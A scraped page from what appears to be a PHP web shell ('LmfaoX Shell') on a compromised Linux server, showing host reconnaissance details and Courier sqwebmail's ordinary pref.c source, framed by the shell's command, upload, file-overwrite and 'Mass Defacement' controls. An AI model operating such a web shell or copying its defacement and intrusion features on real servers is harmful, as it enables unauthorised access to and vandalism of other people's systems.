ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:23.67 GB of 70.42 GB (33.61%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ usr/ src/ courier-0.66.1/ webmail/ - drwxrwxrwx

Directory:
Viewing file:     pref.c (13.09 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
** Copyright 1998 - 2008 Double Precision, Inc.  See COPYING for
** distribution information.
*/


/*
*/
#include    "pref.h"
#include    "config.h"
#include    "auth.h"
#include    "sqwebmail.h"
#include    "sqconfig.h"
#include    "mailinglist.h"
#include    "cgi/cgi.h"
#include    "pcp/pcp.h"
#include    <stdio.h>
#include    <string.h>
#include    <stdlib.h>
#include    <sys/stat.h>
#include    <unistd.h>

#define    OLDEST1ST    "OLDEST1ST"
#define    FULLHEADERS    "FULLHEADERS"
#define    SORTORDER    "SORT"
#define    PAGESIZE    "PAGESIZE"
#define    AUTOPURGE_V    "AUTOPURGE"
#define    NOHTML        "NOHTML"
#define    FROM        "FROM"
#define    LDAP        "LDAP"
#define FLOWEDTEXT    "NOFLOWEDTEXT"
#define NOARCHIVE    "NOARCHIVE"
#define NOAUTORENAMESENT    "NOAUTORENAMESENT"
#define STARTOFWEEK    "STARTOFWEEK"
#define WIKITEXT        "WIKITEXT"

#define    OLDEST1ST_PREF    "oldest1st"
#define    FULLHEADERS_PREF "fullheaders"
#define    HTML_PREF "doshowhtml"
#define FLOWEDTEXT_PREF "noflowedtext"
#define NOARCHIVE_PREF "noarchive"
#define NOAUTORENAMESENT_PREF "noautorenamesent"

#define DEFAULTKEY    "DEFAULTKEY"

int pref_flagisoldest1st, pref_flagfullheaders;
int pref_showhtml;
int pref_flagsortorder;
int pref_flagpagesize;
int pref_autopurge;
int pref_noflowedtext;
int pref_noarchive;
int pref_noautorenamesent;
int pref_startofweek;
int pref_wikifmt;

char *pref_from=0;
char *pref_ldap=0;
extern const char *sqwebmail_content_charset;

#if ENABLE_WEBPASS
extern int check_sqwebpass(const char *);
extern void set_sqwebpass(const char *);
#endif
extern void output_attrencoded_oknl(const char *);
extern const char *sqwebmail_mailboxid;
extern void rename_sent_folder(int really);

static const char hex[]="0123456789ABCDEF";

static int nybble(char c)
{
char    *p=strchr(hex, c);

    if (p)    return (p-hex);
    return (0);
}

static void decode(char *t)
{
char *s;

    for (s=t; *s; s++)
    {
        if (*s != '+')
        {
            *t++ = *s;
            continue;
        }
        if (s[1] == 0 || s[2] == 0)
            continue;
        *t++ = nybble(s[1]) * 16 + nybble(s[2]);
        s += 2;
    }
    *t=0;
}

void pref_init()
{
const    char *p;
char    *q, *r;

    p=read_sqconfig(".", CONFIGFILE, 0);
    pref_flagisoldest1st=0;
    pref_flagfullheaders=0;
    pref_flagsortorder=0;
    pref_flagpagesize=10;
    pref_noarchive=0;

    {
        const char *autorenamesent=AUTORENAMESENT;

        const char *p=getenv("SQWEBMAIL_AUTORENAMESENT");
        if (p && *p)
            autorenamesent = p;

        pref_noautorenamesent=strncmp(autorenamesent, "no", 2) == 0;
    }

    pref_startofweek=0;
    pref_autopurge=AUTOPURGE;
    pref_showhtml=1;
    pref_wikifmt=0;

    if(pref_from) {
        free(pref_from);
        pref_from=0;
        }

    if(pref_ldap) {
        free(pref_ldap);
        pref_ldap=0;
        }


    if (p)
    {
        q=strdup(p);
        if (!q)    enomem();

        for (r=q; (r=strtok(r, " ")) != 0; r=0)
        {
            if (strcmp(r, OLDEST1ST) == 0)
                pref_flagisoldest1st=1;
            if (strcmp(r, FULLHEADERS) == 0)
                pref_flagfullheaders=1;
            if (strcmp(r, NOHTML) == 0)
                pref_showhtml=0;
            if (strcmp(r, WIKITEXT) == 0)
                pref_wikifmt=1;

            if (strncmp(r, SORTORDER, sizeof(SORTORDER)-1) == 0
                && r[sizeof(SORTORDER)-1] == '=')
                pref_flagsortorder=r[sizeof(SORTORDER)];
            if (strncmp(r, PAGESIZE, sizeof(PAGESIZE)-1) == 0
                && r[sizeof(PAGESIZE)-1] == '=')
                pref_flagpagesize=atoi(r+sizeof(PAGESIZE));
            if (strncmp(r, AUTOPURGE_V, sizeof(AUTOPURGE_V)-1) == 0
                && r[sizeof(AUTOPURGE_V)-1] == '=')
                pref_autopurge=atoi(r+sizeof(AUTOPURGE_V));
            if (strncmp(r, FLOWEDTEXT, sizeof(FLOWEDTEXT)-1) == 0
                && r[sizeof(FLOWEDTEXT)-1] == '=')
                pref_noflowedtext=atoi(r+sizeof(FLOWEDTEXT));
            if (strncmp(r, NOARCHIVE, sizeof(NOARCHIVE)-1) == 0
                && r[sizeof(NOARCHIVE)-1] == '=')
                pref_noarchive=atoi(r+sizeof(NOARCHIVE));
            if (strncmp(r, NOAUTORENAMESENT, sizeof(NOAUTORENAMESENT)-1) == 0
                && r[sizeof(NOAUTORENAMESENT)-1] == '=')
                pref_noautorenamesent=atoi(r+sizeof(NOAUTORENAMESENT));
            if (strncmp(r, FROM, sizeof(FROM)-1) == 0
                && r[sizeof(FROM)-1] == '=')
            {
                if (pref_from)    free(pref_from);
                if ((pref_from=strdup(r+sizeof(FROM))) == 0)
                    enomem();

                decode(pref_from);
            }
            if (strncmp(r, LDAP, sizeof(LDAP)-1) == 0
                && r[sizeof(LDAP)-1] == '=')
            {
                if (pref_ldap)    free(pref_ldap);
                if ((pref_ldap=strdup(r+sizeof(LDAP))) == 0)
                    enomem();

                decode(pref_ldap);
            }
            if (strncmp(r, STARTOFWEEK, sizeof(STARTOFWEEK)-1) == 0
                && r[sizeof(STARTOFWEEK)-1] == '=')
            {
                int n=atoi(r+sizeof(STARTOFWEEK));

                if (n >= 0 && n < 7)
                    pref_startofweek=n;
            }

        }
        free(q);
    }
    switch (pref_flagpagesize)    {
    case 20:
    case 50:
    case 100:
    case 250:
        break;
    default:
        pref_flagpagesize=10;
        break;
    }

    if (pref_autopurge < 0)    pref_autopurge=0;
    if (pref_autopurge > MAXPURGE)    pref_autopurge=MAXPURGE;

    switch (pref_flagsortorder)    {
    case 'F':
    case 'S':
        break;
    default:
        pref_flagsortorder='D';
        break;
    }
}

#if 0
#if ENABLE_WEBPASS
static int goodpass(const char *p)
{
    for ( ; *p; p++)
        if (*p < ' ')    return (0);
    return (1);
}
#endif
#endif

static char *append_str(const char *prefs, const char *label,
    const char *value)
{
int    l=strlen(prefs) + sizeof(" =") +
    strlen(label)+ (value ? strlen(value):0);
int    i;
char    *p;
const char *q;

    for (i=0; value && value[i]; i++)
        if (value[i] <= ' ' || value[i] >= 127
            || value[i] == '+')
            l += 2;

    p=malloc(l);
    if (!p)    enomem();
    strcpy(p, prefs);
    if (!value || !*value)    return (p);

    strcat(strcat(strcat(p, " "), label), "=");
    i=strlen(p);
    for (q=value; *q; q++)
    {
        if (*q <= ' ' || *q >= 127 || *q == '+')
        {
            sprintf(p+i, "+%02X", (int)(unsigned char)*q);
            i += 3;
            continue;
        }
        p[i++]= *q;
    }
    p[i]=0;
    return (p);
}

void pref_update()
{
char    buf[1000];
char    *p;
char    *q;

    sprintf(buf, SORTORDER "=%c " PAGESIZE "=%d " AUTOPURGE_V "=%d "
        FLOWEDTEXT "=%d " NOARCHIVE "=%d " NOAUTORENAMESENT "=%d "
        STARTOFWEEK "=%d",
        pref_flagsortorder, pref_flagpagesize, pref_autopurge,
        pref_noflowedtext, pref_noarchive, pref_noautorenamesent,
        pref_startofweek);

    if (pref_flagisoldest1st)
        strcat(buf, " " OLDEST1ST);

    if (pref_flagfullheaders)
        strcat(buf, " " FULLHEADERS);

    if (!pref_showhtml)
        strcat(buf, " " NOHTML);

    if (pref_wikifmt)
        strcat(buf, " " WIKITEXT);

    p=append_str(buf, FROM, pref_from);
    q=append_str(p, LDAP, pref_ldap);
    write_sqconfig(".", CONFIGFILE, q);
    free(q);
    free(p);
}

void pref_setfrom(const char *p)
{
    if (pref_from)    free(pref_from);
    pref_from=strdup(p);
    if (!pref_from)    enomem();
    pref_update();
}

void pref_setldap(const char *p)
{
    if (pref_ldap && strcmp(p, pref_ldap) == 0)
        return;

    if (pref_ldap)    free(pref_ldap);
    pref_ldap=strdup(p);
    if (!pref_ldap)    enomem();
    pref_update();
}

void pref_setprefs()
{
    if (*cgi("do.changeprefs"))
    {
    char    buf[1000];
    FILE    *fp;
    char    *p;
    char    *q;

        sprintf(buf, SORTORDER "=%c " PAGESIZE "=%s " AUTOPURGE_V "=%s "
            FLOWEDTEXT "=%s "
            NOARCHIVE "=%s "
            NOAUTORENAMESENT "=%s "
            STARTOFWEEK "=%d",
            *cgi("sortorder"), cgi("pagesize"), cgi("autopurge"),
            *cgi(FLOWEDTEXT_PREF) ? "1":"0",
            *cgi(NOARCHIVE_PREF) ? "1":"0",
            *cgi(NOAUTORENAMESENT_PREF) ? "1":"0",
            (int)((unsigned)atoi(cgi(STARTOFWEEK)) % 7)
            );

        if (*cgi(OLDEST1ST_PREF))
            strcat(buf, " " OLDEST1ST);
        if (*cgi(FULLHEADERS_PREF))
            strcat(buf, " " FULLHEADERS);
        if (!*cgi(HTML_PREF))
            strcat(buf, " " NOHTML);

        p=append_str(buf, FROM, pref_from);
        q=append_str(p, LDAP, pref_ldap);
        write_sqconfig(".", CONFIGFILE, q);
        free(p);
        free(q);
        pref_init();
        if ((fp=fopen(SIGNATURE, "w")) != NULL)
        {
            char *sig_utf8=
                libmail_u_convert_toutf8(cgi("signature"),
                             sqwebmail_content_charset,
                             NULL);

            if (sig_utf8)
            {
                fprintf(fp, "%s", sig_utf8);
                free(sig_utf8);
            }
            fclose(fp);
        }

        savemailinglists(cgi("mailinglists"));

        printf("%s\n", getarg("PREFSOK"));

        rename_sent_folder(0);
    }

    if (*cgi("do.changepwd"))
    {
        int status=1;
        const    char *p=cgi("newpass");
        int has_syspwd=0;

        if ( *p && strcmp(p, cgi("newpass2")) == 0
            && strlen(p) >= MINPASSLEN)
        {
            has_syspwd=
                login_changepwd(sqwebmail_mailboxid,
                        cgi("oldpass"), p,
                        &status);
        }

        if (has_syspwd || status)
        {
            printf("%s\n", getarg("PWDERR"));
        }
        else
        {
            printf("%s\n", getarg("PWDOK"));
        }
    }

#if 0
    if (*cgi("do.changepwd"))
    {
#if ENABLE_WEBPASS

    const    char *p;

        if (check_sqwebpass(cgi("oldpass")) == 0 &&
            *(p=cgi("newpass")) &&
            goodpass(p) &&
            strcmp(p, cgi("newpass2")) == 0)
        {
            set_sqwebpass(p);
        }
        else
        {
            printf("%s\n", getarg("PWDERR"));
        }
#else
        printf("%s\n", getarg("PWDERR"));
#endif
    }
#endif
}

void pref_isoldest1st()
{
    printf("<input type=\"checkbox\" name=\"%s\" id=\"%s\"%s />",
        OLDEST1ST_PREF, OLDEST1ST_PREF, pref_flagisoldest1st ? " checked=\"checked\"":"");
}

void pref_isdisplayfullmsg()
{
    printf("<input type=\"checkbox\" name=\"%s\" id=\"%s\"%s />",
        FULLHEADERS_PREF, FULLHEADERS_PREF, pref_flagfullheaders ? " checked=\"checked\"":"");
}

void pref_displayhtml()
{
    printf("<input type=\"checkbox\" name=\"%s\" id=\"%s\"%s />",
        HTML_PREF, HTML_PREF, pref_showhtml ? " checked=\"checked\"":"");
}

void pref_displayflowedtext()
{
    printf("<input type=\"checkbox\" name=\"%s\" id=\"%s\"%s />",
        FLOWEDTEXT_PREF, FLOWEDTEXT_PREF, pref_noflowedtext ? " checked=\"checked\"":"");
}

void pref_displayweekstart()
{
    int i, j;
    static const int d[3]={6,0,1};

    printf("<select name=\"" STARTOFWEEK "\">");

    for (j=0; j<3; j++)
    {
        i=d[j];
        printf("<option value=\"%d\"%s>", i,
               i == pref_startofweek ? " selected='selected'":"");

        output_attrencoded_oknl( pcp_wdayname_long(i));
        printf("</option>");
    }
    printf("</select>");
}

void pref_displaynoarchive()
{
    printf("<input type=\"checkbox\" name=\"%s\" id=\"%s\"%s />",
        NOARCHIVE_PREF, NOARCHIVE_PREF, pref_noarchive ? " checked=\"checked\"":"");
}

void pref_displaynoautorenamesent()
{
    printf("<input type=\"checkbox\" name=\"%s\" id=\"%s\"%s />",
        NOAUTORENAMESENT_PREF, NOAUTORENAMESENT_PREF, pref_noautorenamesent ? " checked=\"checked\"":"");
}

void pref_displayautopurge()
{
    printf("<input type=\"text\" name=\"autopurge\" value=\"%d\" size=\"2\" maxlength=\"2\" />",
        pref_autopurge);
}

void pref_sortorder()
{
static const char selected[]=" selected='selected'";

    printf("<select name=\"sortorder\">");
    printf("<option value=\"DATE\"%s>%s</option>\n",
        pref_flagsortorder == 'D' ? selected:"",
           getarg("DATE"));

    printf("<option value=\"FROM\"%s>%s</option>\n",
        pref_flagsortorder == 'F' ? selected:"",
           getarg("SENDER"));
    printf("<option value=\"SUBJECT\"%s>%s</option>\n",
        pref_flagsortorder == 'S' ? selected:"",
           getarg("SUBJECT"));
    printf("</select>\n");
}

void pref_pagesize()
{
static const char selected[]=" selected='selected'";

    printf("<select name=\"pagesize\">");
    printf("<option value=\"10\"%s>10</option>\n",
        pref_flagpagesize == 10 ? selected:"");
    printf("<option value=\"20\"%s>20</option>\n",
        pref_flagpagesize == 20 ? selected:"");
    printf("<option value=\"50\"%s>50</option>\n",
        pref_flagpagesize == 50 ? selected:"");
    printf("<option value=\"100\"%s>100</option>\n",
        pref_flagpagesize == 100 ? selected:"");
    printf("<option value=\"250\"%s>250</option>\n",
        pref_flagpagesize == 250 ? selected:"");
    printf("</select>\n");
}

char *pref_getsig()
{
    return pref_getfile(fopen(SIGNATURE, "r"));
}

char *pref_getfile(FILE *fp)
{
    struct stat st;
    char *utf8_buf;
    char *sig_buf;

    if (fp == NULL)
        return NULL;

    if (fstat(fileno(fp), &st) < 0)
    {
        fclose(fp);
        return NULL;
    }

    utf8_buf=malloc(st.st_size+1);

    if (!utf8_buf)
    {
        fclose(fp);
        return NULL;
    }

    if (fread(utf8_buf, 1, st.st_size, fp) != st.st_size)
    {
        fclose(fp);
        return NULL;
    }
    utf8_buf[st.st_size]=0;
    fclose(fp);

    sig_buf=libmail_u_convert_fromutf8(utf8_buf,
                       sqwebmail_content_charset,
                       NULL);
    free(utf8_buf);

    return sig_buf;
}

void pref_signature()
{
    char *p=pref_getsig();

    if (p)
    {
        output_attrencoded_oknl(p);
        free(p);
    }
}
/*
** Get a setting from GPGCONFIGFILE
**
** GPGCONFIGFILE consists of space-separated settings.
*/

static char *getgpgconfig(const char *name)
{
    const char *p;
    char    *q, *r;

    int name_l=strlen(name);

    p=read_sqconfig(".", GPGCONFIGFILE, 0);

    if (p)
    {
        q=strdup(p);
        if (!q)
            enomem();

        for (r=q; (r=strtok(r, " ")) != NULL; r=NULL)
            if (strncmp(r, name, name_l) == 0 &&
                r[name_l] == '=')
            {
                r=strdup(r+name_l+1);
                free(q);
                if (!r)
                    enomem();
                return (r);
            }
        free(q);
    }
    return (NULL);
}

/*
** Enter a setting into GPGCONFIGFILE
*/

static void setgpgconfig(const char *name, const char *value)
{
    const    char *p;
    char *q, *r, *s;
    int name_l=strlen(name);

    /* Get the existing settings */

    p=read_sqconfig(".", GPGCONFIGFILE, 0);

    if (!p)
        p="";

    q=strdup(p);
    if (!q)
        enomem();

    s=malloc(strlen(q)+strlen(name)+strlen(value)+4);
    if (!s)
        enomem();
    *s=0;

    /*
    ** Copy existing settings into a new buffer, deleting any old
    ** setting.
    */

    for (r=q; (r=strtok(r, " ")) != NULL; r=NULL)
    {
        if (strncmp(r, name, name_l) == 0 &&
            r[name_l] == '=')
        {
            continue;
        }

        if (*s)
            strcat(s, " ");
        strcat(s, r);
    }

    /* Append the new setting */

    if (*s)
        strcat(s, " ");
    strcat(strcat(strcat(s, name), "="), value);
    free(q);
    write_sqconfig(".", GPGCONFIGFILE, s);
    free(s);
}

char *pref_getdefaultgpgkey()
{
    return (getgpgconfig(DEFAULTKEY));
}

void pref_setdefaultgpgkey(const char *v)
{
    setgpgconfig(DEFAULTKEY, v);
}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.2306 seconds